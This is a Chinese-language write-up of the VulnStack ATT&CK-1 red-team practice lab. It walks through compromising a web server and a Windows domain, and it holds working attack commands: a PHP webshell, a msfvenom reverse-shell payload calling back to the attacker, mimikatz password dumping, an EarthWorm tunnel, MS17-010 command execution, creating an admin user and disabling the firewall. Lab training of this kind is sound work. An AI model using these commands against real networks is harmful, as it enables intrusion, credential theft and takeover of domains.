《VulnStack》ATT&CK-1
@TOC
VulnStack:红日安全 ATT&CK 实战 - 红队评估系列打靶记录。
VulnStack 官网:http://vulnstack.qiyuanxuetang.net/vuln/
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。
1:靶场信息
靶场地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶场结构:
内网网段:192.168.52.0/24
2:打靶
2.1:情报收集 & 威胁建模
主机发现:nmap -sn 192.168.8.0/24
得到服务器 IP:192.168.8.168。
进行端口扫描、服务探测、操作系统探测:nmap 192.168.8.168 -p- -sV -sC -O -oN nmap-scan.txt
1 | ┌──(root㉿kali)-[~/Desktop/att&ck-1] |
访问网站,直接泄露了 php 探针……
但其实网站首页应该是这个:http://192.168.8.168/yxcms/
访问网站首页,在公告处泄露了后台信息:
用 nmap 的漏洞库对端口进行扫描:nmap 192.168.8.168 --script=vuln -p 80,5357 -oN nmap-vuln.txt
1 | # Nmap 7.94SVN scan initiated Tue Jan 2 22:26:35 2024 as: nmap --script=vuln -p 80,5357 -oN nmap-vuln.txt 192.168.8.168 |
探测到了 sql 注入与 phpmyadmin 后台。不过决定先尝试一下其他方法。
2.2:漏洞分析 & 渗透攻击
根据网站泄露的信息直接访问网站后台:http://192.168.8.168/yxcms/index.php?r=admin
直接进入了后台。
功能很多啊。这里发现 “ 前台模板 ” 处可以直接编辑 php 文件。
在首页随便点击几个板块,找到了该 CMS 模板名称与 url 的关系。
这里就选择 photo_index.php 写入一句话木马。
再次访问板块可以发现木马已执行。
使用蚁剑连接:
2.3:后渗透
2.3.1:提权
先利用蚁剑的虚拟终端随便查看一下信息。
直接就是 admin 账户,很省事,方便提权至 system。
那就先试试反弹 shell。因为目标机器 445 端口有防火墙过滤,所以这里使用 metasploit 生成后门文件,然后上传至目标机器反弹 shell。
msf,启动!(msfdb init && msfconsole
查看一下 Windows 反弹 shell 的相关工具。search windows/meterpreter/reverse_tcp
可以查看一下相关参数。
生成 Windows 后门程序(Windows 载荷):msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.15 LPORT=7777 -f exe -o '/root/Desktop/att&ck-1/shell.exe'
msf 配置启动监听。
1 | use exploit/multi/handler |
将刚才生成的 Windows 后门程序 shell.exe 通过蚁剑上传到目标机器并运行。
成功反弹 shell。
执行 post/windows/manage/enable_rdp
模块,关闭防火墙并启用远程桌面。run post/windows/manage/enable_rdp
使用 rdesktop
打开远程桌面。可以看到控制成功。rdesktop 192.168.8.168
查看用户,提权:getuid
getsystem
2.3.2:内网渗透
2.3.2.1:信息收集
为内网的渗透做一些准备。后渗透阶段的信息收集包括但不限于以下操作:
使用 msf 模块进行信息收集:
1 | run post/windows/gather/enum_patches # 查询补丁信息 |
使用 Windows 下命令进行信息收集:
1 | wmic os get osarchitecture # 查看系统架构 |
《Windows 判断是否存在域,搜集域内基本信息》
https://blog.csdn.net/qq_36279445/article/details/110647055
另外,如果遇到乱码问题,在 Windows shell 中执行 chcp 65001
可以缓解部分乱码问题。
chcp
是 Windows 中的命令,用于改变当前控制台的代码页(code page)。65001
则是特定的表示 UTF-8 编码的代码页。chcp 65001
的作用是将当前控制台的代码页设置为 UTF-8。(将部分输出转换为英文)
Windows 中,默认代码页通常根据系统区域设置而确定,而不是总是设置为 UTF-8。
确定了域控主机名:OWA。IP:192.168.52.138。
以上是一些基础的信息收集,下面进行进一步的信息收集。
抓取目标机器上的密码 Hash。
hashdump
已经过时了,不过可以使用 post/windows/gather/smart_hashdump
模块。
抓取密码 Hash:run windows/gather/smart_hashdump
虽然抓到了密码 hash,不过根据结果来看并没有解密成功。
那就上传 mimikatz 来抓取密码。(实战中需要做免杀处理)
kali 自带 mimikatz:/usr/share/windows-resources/mimikatz/
确定一下目标机器的系统版本。wmic os get osarchitecture
通过 msf 上传 mimikatz 至目标机器指定位置。upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe c:\\
提升 mimikatz 权限:privilege::debug
抓取密码:sekurlsa::logonpasswords
成功获取 GOD 域下 Administrator(域管理员)的明文密码:hongri@2023
。
接下来进一步渗透内网(横向移动),对域中其他主机进行渗透。这里服务器为已被控制的机器。
2.3.2.2:内网穿透
通过 msf 借助服务器使用 ping 命令探测内网存活主机。for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测到几台主机,给 msf 添加内网路由,进行下一步渗透。
MSF 跳板功能是 MSF 框架中自带的一个路由转发功能。实现过程就是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往 “ 内网 ” 的路由,以此直接使用 MSF 去访问原本不能直接访问的内网资源。
通过已控制的 session 添加内网路由:route add 192.168.52.141 255.255.255.0 4
添加成功。
也可以添加全网段路由,这样可以访问被控机器可达的所有地址:
route add 0.0.0.0 0.0.0.0 <session id>
测试一下,使用 post/windows/gather/arp_scanner
模块扫描内网主机。run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
现在 msf 已经可以通信到内网其他主机,为了让攻击机上的其他工具可以通信到内网其他主机,需要设置代理。
这里用 EarthWorm 做 Socks5 代理作为跳板进入内网。
也可以借助已获取内网通信的 msf 来设置 sock4a 代理,使攻击机其他工具通信到内网。参考:
《ATT&CK红队评估实战靶场-1》:
https://blog.csdn.net/qq_40638006/article/details/122033546
内网穿透工具 EarthWorm(EW)项目地址:
https://github.com/idlefire/ew
后来发现 ew 已经停止更新很久了。。。在这里补充一些内网渗透的知识和工具。
《内网穿透常用方法系列总结》:
https://blog.csdn.net/m0_64910183/article/details/129211220
《几款实用的内网穿透工具》:
https://blog.csdn.net/MachineGunJoe/article/details/129385096
《内网安全:内网穿透详解》:
https://blog.csdn.net/qq_61553520/article/details/131037631
下载 EW 后将相应版本上传到主机。(已控制的服务器为 Win7)
通过 msf 上传到 win7 受害主机。upload '/root/Desktop/att&ck-1/ew_for_Win.exe' c:\\
给攻击机上的 ew 添加可执行权限并监听等待连接(真实情况下可借助 VPS)。
1 | chmod +x ew_for_linux64 |
在 win7 上启动 socks5 服务器反弹到攻击机上(真实情况下反弹至 VPS 的 IP)。ew_for_Win.exe -s rssocks -d 192.168.8.15 -e 1234
这样就建立了一条通信通道。使用 proxychains4 作为代理。
proxychains4
配置文件 /etc/proxychains4.conf。配置代理。
测试一下内网穿透。proxychains4 nmap -p 3389,21,445 -Pn -sT 192.168.52.141
成功。
这里使用的是 socks5 协议,支持 TCP/UDP 等,但不支持 ICMP,即不能使用
ping
。所以 nmap 必须加上参数-Pn
、-sT
。
proxychain4 会输出一些超时错误信息,不方便查看,可以加上参数 -q
使用安静模式。proxychains4 -q nmap -p 3389,21,445 -Pn -sT 192.168.52.141
也可以将错误信息重定向。
proxychains4 nmap -p 3389,21,445 -Pn -sT 192.168.52.141 2>/dev/null
在内网信息收集时已经确定域控为 192.168.52.138。那就先渗透身为域成员的 192.168.52.141。
2.3.2.3:横向移动
由于通过代理,nmap 使用 TCP 扫描,速度比较慢,先简单扫描一下内网主机。这里先对 192.168.52.141 下手。
nmap 扫描。
proxychains4 -q nmap 192.168.52.141 -Pn -sT --top-ports 200
proxychains4 -q nmap 192.168.52.141 -Pn -sT -O
proxychains4 -q nmap 192.168.52.141 -Pn -sT -p 21,445,3389
可以看到 3389 端口关闭,nmap 的 OS 探测模棱两可。445 端口开启,可以使用 msf 的 auxiliary/scanner/smb/smb_version
模块探测下操作系统版本。
1 | use auxiliary/scanner/smb/smb_version |
可以确定 192.168.52.141 为 Win 2003。
445 端口开启,可以尝试利用 MS17-010(永恒之蓝)漏洞。search ms17-010
使用 auxiliary/scanner/smb/smb_ms17_010
模块检测,发现 MS17-010 可利用。
使用 auxiliary/admin/smb/ms17_010_command
模块执行命令将目标 3389 端口开启。
1 | use auxiliary/admin/smb/ms17_010_command |
再次扫描 3389 端口可以发现开放。
此时已经可以通过远程桌面登录。
这里可以尝试使用 exploit/windows/smb/ms17_010_psexec
模块获取一个 shell。不过此模块需要指定一个管理员用户才能更好利用,所以先用 auxiliary/admin/smb/ms17_010_command
模块添加一个管理员用户。
添加用户 bob:
1 | use auxiliary/admin/smb/ms17_010_command |
将用户 bob 添加至管理员组:
1 | set COMMAND net localgroup administrators bob /add |
查看一下结果:
1 | set COMMAND net localgroup administrators |
然后使用 exploit/windows/smb/ms17_010_psexec
模块尝试获得 session,不过尝试都失败了。
那就只能尝试 auxiliary/admin/smb/ms17_010_command
模块,借助内网隧道,利用 powershell 等方法反弹一个 cmd。这里就先不尝试了,总之 192.168.52.141 这台主机算是拿下了。
2.3.2.4:杀入域控
之前已经知道域控 ip 为 192.168.52.138。先 nmap 探测一下。proxychains4 -q nmap 192.168.52.138 -Pn -sT --top-ports 200
用 msf 的 auxiliary/scanner/smb/smb_version
模块探测下操作系统版本。
1 | use auxiliary/scanner/smb/smb_version |
再使用 auxiliary/scanner/smb/smb_ms17_010
模块扫描是否可利用永恒之蓝。
1 | use auxiliary/scanner/smb/smb_ms17_010 |
尝试利用。
1 | use auxiliary/admin/smb/ms17_010_command |
但 3389 端口开启失败。不过永恒之蓝漏洞确实是可以利用的。
查看了一下系统架构。
内网下某些漏洞利用模块似乎无法使用。
不过可以看到域控共享了 c 盘。
可以通过 Win7 上传文件至域控。
1 | net use \\192.168.52.138\c$ "hongri@2023" /user:"administrator" |
不过尝试了多种方法也没有直接取得 shell。(主要是尝试正向连接,反弹连接应该是不用想了,主要是内网穿透工具的限制)
尝试关闭防火墙。set command 'chcp 65001 && netsh advfirewall set allprofiles state off'
成功。。
然后 nc 就可以连上了。。。(虽然没有取得 shell)
之后远程桌面 3389 端口也可以打开了。
至此算是拿下域控了。之前耗了很大精力各种尝试,却忘了可以直接对防火墙下手。。。已经在崩溃边缘徘徊了。。。
就不重复尝试获取 shell 了。这里挂个参考文章。
《ATT&CK红队评估实战靶场-1》
https://blog.csdn.net/qq_40638006/article/details/122033546
3:总结
作为第一个内网靶场,说难也难,说简单也不简单。╮(︶﹏︶”)╭ 鬼知道我经历了什么
3.1:命令 & 工具
- nmap
- 蚁剑
- msf
- rdesktop
- mimikatz
- EarthWorm
- proxychains4
- netcat
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sn |
Ping Scan - disable port scan |
-sV |
Probe open ports to determine service/version info |
-sC |
equivalent to --script=default |
-Pn |
Treat all hosts as online -- skip host discovery |
-sS/sT/sA/sW/sM |
TCP SYN/Connect()/ACK/Window/Maimon scans |
--top-ports <num> |
Scan <num> most common ports |
部分命令:
目标信息扫描,进行端口扫描、服务探测、操作系统探测,并保存:nmap <target> -p- -sV -sC -O -oN nmap-scan.txt
目标漏洞扫描,用 nmap 的漏洞库对端口进行扫描:nmap <target> --script=vuln -p <port>
3.1.2:MSF
以该靶场为例介绍 MSF。
初始化 msf 数据库并启动:
1 | msfdb init && msfconsole |
3.1.2.1:web server 渗透
查看 Windows 反弹 shell 的相关工具:
1 | search windows/meterpreter/reverse_tcp |
生成 Windows 后门程序(Windows 载荷),反弹 shell:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o '<exe file>' |
msf 配置启动监听。
1 | use exploit/multi/handler |
将生成的 exe 后门程序通过蚁剑上传到目标机器并运行。
后渗透 & 后渗透模块使用:
1 | getuid # 查看用户 |
通过已控制的 session 添加内网路由:
- 将获取的 session 挂到后台。
background
- 查看路由:
route print
- 添加内网路由:
route add <ip> <mask> <session id>
如下添加全网段路由,可以访问被控机器可达的所有地址:
route add 0.0.0.0 0.0.0.0 <session id>
3.1.2.2:域成员 Win 2003 渗透
445 端口开启,可以使用相应模块探测操作系统版本:
1 | use auxiliary/scanner/smb/smb_version |
445 端口开启,可以尝试利用 MS17-010(永恒之蓝)漏洞:
1 | search ms17-010 |
3.1.3:mimikatz
kali 自带 mimikatz:/usr/share/windows-resources/mimikatz/
mimikatz 提升权限:privilege::debug
抓取密码:sekurlsa::logonpasswords
3.1.4:EarthWorm
内网穿透工具 EarthWorm(EW)项目地址:
https://github.com/idlefire/ew
ew 已经停止更新很久了。这里补充一些内网渗透的知识和工具。
《内网穿透常用方法系列总结》:
https://blog.csdn.net/m0_64910183/article/details/129211220
《几款实用的内网穿透工具》:
https://blog.csdn.net/MachineGunJoe/article/details/129385096
《内网安全:内网穿透详解》:
https://blog.csdn.net/qq_61553520/article/details/131037631
3.1.5:proxychains4
proxychains4 配置文件:/etc/proxychains4.conf。
部分命令:
基本使用:proxychains4 <command>
使用安静模式:proxychains4 -q <command>
3.1.6:Windows 命令使用
1 | chcp 65001 # 将当前控制台代码页设置为 UTF-8 |
使用 ping 命令探测内网存活主机(以 192.168.52.0/24 为例):
1 | # for /L %I in (1,1,254) DO @ping -w 1 -n 1 xxx.xxx.xx.%I | findstr "TTL=" |
开启远程桌面服务(3389 端口):
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
在本地系统上映射远程计算机的共享文件夹(以共享 C 盘为例):
1 | # net use \\<ip>\<path> "<password>" /user:"<username>" |
将文件复制到远程计算机的共享文件夹中:
1 | copy <file> \\<ip>\<path> |
查看远程计算机的共享文件夹:
1 | dir \\<ip>\<path> |
3.2:关键技术
主机发现:
nmap -sn <ip cidr>
目标信息扫描,进行端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sV -sC -O
目标漏洞扫描,用 nmap 的漏洞库对端口进行扫描:
nmap <target> --script=vuln -p <port>
网站首页信息泄露。
网站后台登录,写入一句话木马,蚁剑连接。
msf 渗透 web 服务器, 并对 web 服务器进行信息收集。
mimikatz 抓取密码。
rdesktop 连接远程桌面:
rdesktop <ip>
msf 借助服务器使用 ping 命令探测内网存活主机。
msf 通过已控制的 session 添加内网路由。
使用 EarthWorm 进行内网穿透,做 Socks5 代理作为跳板进入内网。
使用 proxychains4 作为代理。
proxychains4 -q <command>
msf 渗透域成员(win2003),MS17-010(永恒之蓝)漏洞利用。
msf 渗透域控(win2008),MS17-010(永恒之蓝)漏洞利用,共享 C 盘利用。
人生亦有命,安能行叹复坐愁?
——《拟行路难 · 其四》(南北朝)鲍照